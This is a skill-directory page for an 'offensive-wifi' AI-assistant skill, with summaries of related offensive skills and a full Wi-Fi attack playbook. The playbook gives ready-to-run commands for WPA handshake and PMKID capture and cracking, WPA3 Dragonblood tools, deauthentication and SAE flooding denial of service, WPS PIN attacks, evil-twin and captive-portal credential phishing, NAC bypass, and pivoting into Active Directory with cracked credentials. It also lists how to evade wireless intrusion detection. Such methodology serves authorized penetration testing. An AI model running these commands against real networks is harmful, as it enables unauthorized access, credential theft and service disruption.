원클릭으로 Manus에서 모든 스킬 실행

offensive-wifi

스타2,562

포크417

업데이트2026년 5월 6일 07:49

Wireless / 802.11 attack methodology for red team engagements and wireless security assessments. Covers monitor-mode setup, WPA/WPA2-PSK handshake capture and PMKID attacks, WPA3 SAE downgrade and Dragonblood, WPA-Enterprise (EAP) attacks (MSCHAPv2 cracking, EAP-TLS cert theft, evil-twin RADIUS), Karma / Known Beacons / Mana evil twin attacks, captive-portal phishing, KRACK and FragAttacks, WPS Pixie Dust, deauthentication and disassociation attacks, rogue AP construction (hostapd-mana), 802.1X bypass, MAC randomization defeat, BLE/Zigbee/IEEE 802.15.4 sidebands, and Wi-Fi 6/6E/7 considerations. Use when scoping wireless pentest, war-driving an estate, or testing corporate wireless segmentation.

설치

Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.

Manus에서 실행

출처

SnailSploit

SnailSploit/Claude-Red

GitHub 저장소 열기 Creator 저장소 보기

다운로드

Manus에서 실행

관련 직업SOC

SOC 직업 분류 기준

정보 보안 분석가컴퓨터 및 수학직·SOC 15-1212

SKILL.md

readonly

이 저장소의 다른 Skills

같은 저장소

offensive-bluetooth-ble

SnailSploit/Claude-Red

Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.

2026-05-062.6k

offensive-bluetooth-classic

SnailSploit/Claude-Red

Bluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.

2026-05-062.6k

offensive-deauth-disassoc

SnailSploit/Claude-Red

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.

2026-05-062.6k

offensive-evil-twin

SnailSploit/Claude-Red

Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat via PNL leak analysis, post-association MITM (DNS, ARP, transparent proxy), credential capture for portal/web/SMB, and detection-evasion tactics. Use to coerce client devices onto an attacker-controlled AP, intercept their traffic, harvest credentials, or deliver payloads via captive portal.

2026-05-062.6k

offensive-krack-fragattacks

SnailSploit/Claude-Red

KRACK (CVE-2017-13077..082) and FragAttacks (CVE-2020-24586..588 + 26139-26147) — key reinstallation, fragmentation, and aggregation attacks against WPA2 supplicants. Covers Vanhoef's test scripts, viability against modern patched stacks (mostly mitigated post-2021), residual unpatched embedded devices and IoT vendors, and the practical limitations of these attacks in modern engagements. Use when assessing legacy supplicants, embedded clients, or vendors with poor patch cadence.

2026-05-062.6k

offensive-lorawan-sub-ghz

SnailSploit/Claude-Red

LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart plug telemetry), HackRF / RTL-SDR / Flipper Zero workflows, signal analysis with Inspectrum / Universal Radio Hacker, and reconstruction of proprietary packet formats. Use for LoRaWAN deployments (smart cities, asset tracking, industrial telemetry), or any wireless device using the unlicensed 433/868/915 MHz bands (garage openers, doorbells, IoT sensors, RC equipment).

2026-05-062.6k

name

offensive-wifi

description

Wireless / 802.11 — Offensive Testing Methodology

Quick Workflow

Pick the right adapter (monitor mode + injection + correct band/PHY for target)
Recon airspace passively — never deauth before you know the topology
Choose attack: handshake capture, PMKID, evil twin, KARMA, or WPS
Crack offline; do not rely on online dictionary attacks
If WPA-Enterprise, pivot through stolen creds or rogue RADIUS

Hardware & Adapter Selection

Chipset	Strengths	Notes
Atheros AR9271 (Alfa AWUS036NHA)	Solid 2.4 GHz monitor + injection	802.11n only
Realtek RTL8812AU (AWUS036ACH)	Dual-band, injection	Driver: `aircrack-ng/rtl8812au`
MediaTek MT7612U (AWUS036ACM)	Stable dual-band	Modern kernels in-tree
MediaTek MT7921AU	Wi-Fi 6 monitor (limited)	Patched drivers required
AWUS036AXML / AXM	Wi-Fi 6E (6 GHz)	Bleeding edge — verify per release

# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"

Reconnaissance

# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg

# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon

# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon

# Wigle / Kismet for war-driving
kismet -c wlan0mon

Key data to record: BSSID, ESSID, channel, encryption, PMF status, client list, RSSI, vendor OUI.

WPA / WPA2-PSK

Four-way Handshake Capture

# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Verify the EAPOL frames are usable:

hcxpcapngtool -o hash.hc22000 handshake-01.cap

PMKID (No Client Required)

PMKID lives in the first AP-to-station message — you can grab it without anyone connected.

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

hcxpcapngtool -o hash.hc22000 pmkid.pcapng

Cracking

# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule

# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d

# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -

WPA3 / SAE

Transition-Mode Downgrade

If the AP advertises both WPA2 and WPA3 (transition mode), force clients onto WPA2 by spoofing an RSN-only beacon and capturing as PSK.

Dragonblood (CVE-2019-9494/9495/13377)

Side-channel and downgrade attacks on SAE. Older hostapd (<2.10) with insufficient curve diversification leaks password elements via timing/cache attacks.

# Reference implementation
git clone https://github.com/vanhoefm/dragonblood
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon

SAE Auth Flooding (Resource Exhaustion)

sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Triggers heavy crypto on AP CPU; can DoS lower-end deployments

WPA-Enterprise (802.1X / EAP)

Method Identification

# Watch initial EAP-Request/Identity to fingerprint method
tshark -i wlan0mon -Y "eapol || eap" -V

Inner Method	Attack
EAP-MSCHAPv2 (PEAP/TTLS)	Crack NetNTLMv1-style challenge offline
EAP-GTC	Cleartext password — capture via rogue RADIUS
EAP-TLS	Steal client cert (often in user keychain / DPAPI / NDES)
EAP-PWD	Dragonblood-class side channels

Evil-Twin RADIUS (MSCHAPv2 / GTC)

# eaphammer — automated rogue AP + RADIUS
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap --creds

# Captured hashes → asleap or hashcat -m 5500
asleap -C challenge -R response -W wordlist.txt

Critical: organizations that don't pin server cert + CN on supplicants are vulnerable. Win10/11 with ServerValidation disabled (common for BYOD) will hand over creds.

EAP-TLS Cert Theft Paths

DPAPI master key + cert blob from user profile (%APPDATA%\Microsoft\SystemCertificates)
NDES misconfig (ESC8-class cert request abuse)
ADCS user auto-enrollment template with weak ACL

WPS

Pixie Dust (Offline)

# Capture WPS exchange
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# Or
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon

Vulnerable chipsets: Ralink, Realtek, Broadcom (older firmware), MediaTek (specific revs). Pixiewps recovers PIN in seconds when nonces are predictable.

Online PIN Brute (Last Resort)

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
# Most modern APs lock out after a few failures — slow and noisy

Evil Twin / KARMA / Mana

Stock Evil Twin (Captive Portal)

# wifiphisher — automated AP + phishing portal
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

# airgeddon — interactive menu (good for one-off engagements)
sudo airgeddon

KARMA / Mana (Probe Exploitation)

Older stations broadcast PNL (Preferred Network List) probes. KARMA replies "yes" to anything; Mana picks one realistic ESSID and answers consistently to defeat MAC randomization.

# hostapd-mana
sudo hostapd-mana ./mana.conf

# Combine with rogue RADIUS for enterprise nets
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \
  --auth wpa-eap --creds --hostile-portal

MAC Randomization Defeat

iOS/Android randomize MACs but leak per-SSID stable IDs. Cluster probes by sequence number and timing to re-identify devices.

KRACK & FragAttacks

Attack	Class	Target
KRACK (CVE-2017-13077..082)	Key reinstallation	Unpatched WPA2 supplicants
FragAttacks (CVE-2020-24586..588)	Fragmentation/aggregation	Most pre-2021 implementations

Test a network's patch status:

# Vanhoef test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
./krack-test-client.py
git clone https://github.com/vanhoefm/fragattacks
./test-fragattacks.py wlan0

Deauth / Disassociation Attacks

# Single client deauth (use for handshake capture)
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon

# Broadcast (DoS — only with explicit authorization)
mdk4 wlan0mon d -B target_bssids.txt

# Disassoc + auth flood combo (kicks then prevents reconnect)
mdk4 wlan0mon a -a AP_BSSID -m

802.11w (PMF) blocks unencrypted deauth. Most modern enterprise APs require it. Clients without PMF support are still kickable via Action frames.

802.1X / Wired NAC Bypass (Adjacent)

# Sniff valid 802.1X exchange on wired side
tcpdump -i eth0 -w nac.pcap ether proto 0x888e

# silentbridge / nac_bypass — transparently bridge through an authenticated host
git clone https://github.com/s0lst1c3/silentbridge
silentbridge --takeover --phy wlan0  # variants for wired

Wi-Fi 6 / 6E / 7 Considerations

6 GHz (Wi-Fi 6E) disables WPA2-only; WPA3 + PMF mandatory. Many attacks are mitigated by spec.
OFDMA / MU-MIMO: legacy injection often misaligns with RU allocations — verify packet delivery on test bench.
TWT (Target Wake Time): deauth windows differ; observe BA sessions before injecting.
MLO (Wi-Fi 7): a single client over multiple links — capture must cover all links to recover full session.

Sidebands & Adjacent Wireless

Tech	Tool	Notes
Bluetooth Classic	`redfang`, `crackle`, `btproxy`	LMP/L2CAP fuzzing
BLE	`bettercap`, `Sniffle` (TI CC1352), `Frontline`	GATT enumeration, LE Secure Connections downgrade
Zigbee / 802.15.4	`KillerBee`, `apimote`, `ATUSB`	Touchlink commissioning abuse
Z-Wave	`Z-Force`, `EZ-Wave`	S0 key reuse bug class
LoRa / LoRaWAN	`LoRaPWN`, `ChirpStack`	Join-request replay, ABP key reuse
433/868 MHz (Sub-GHz)	HackRF / Flipper Zero	Garage doors, doorbells, telemetry

RADIUS / Backend Pivots Post-Compromise

# If you crack a domain user via PEAP-MSCHAPv2, pivot to AD
nxc smb dc -u captured_user -p cracked_pass --pass-pol

# If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets
# If on Windows NPS, pivot via the service account context

Engagement Cheatsheet

# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US

# 2. Recon (do not deauth yet)
sudo airodump-ng wlan0mon --band abg --write recon

# 3. PMKID sweep (passive)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# 4. Targeted capture if PMKID empty
sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon

# 5. Crack offline
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule

# 6. If enterprise → eaphammer evil twin
# 7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time

Detection / Defender View

AP/WIDS Detector	Trigger	Evasion
Excessive deauth	>5 deauth/sec from one source MAC	Spread across spoofed MACs, target individuals
Rogue AP detection	Unauthorized BSSID on monitored channel	Match real BSSID's beacon timing/IE order exactly
Karma response anomaly	AP answering all probe SSIDs	Use Mana mode, pick one plausible SSID
WPS lockout	Repeated PIN failures	Pixie Dust offline only, abandon online brute
RADIUS log: cert mismatch	Supplicant rejects evil-twin cert	Use copies of victim CA-signed certs (unlikely)

Key References

MITRE ATT&CK: T1200 (Hardware Additions), T1557.004 (AiTM via Evil Twin)
IEEE 802.11-2020 (combined spec including KRACK mitigations)
WPA3 Spec / Wi-Fi Alliance: dragonblood.net for vuln tracking
hcxtools / hashcat WPA modes: docs at hashcat.net
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md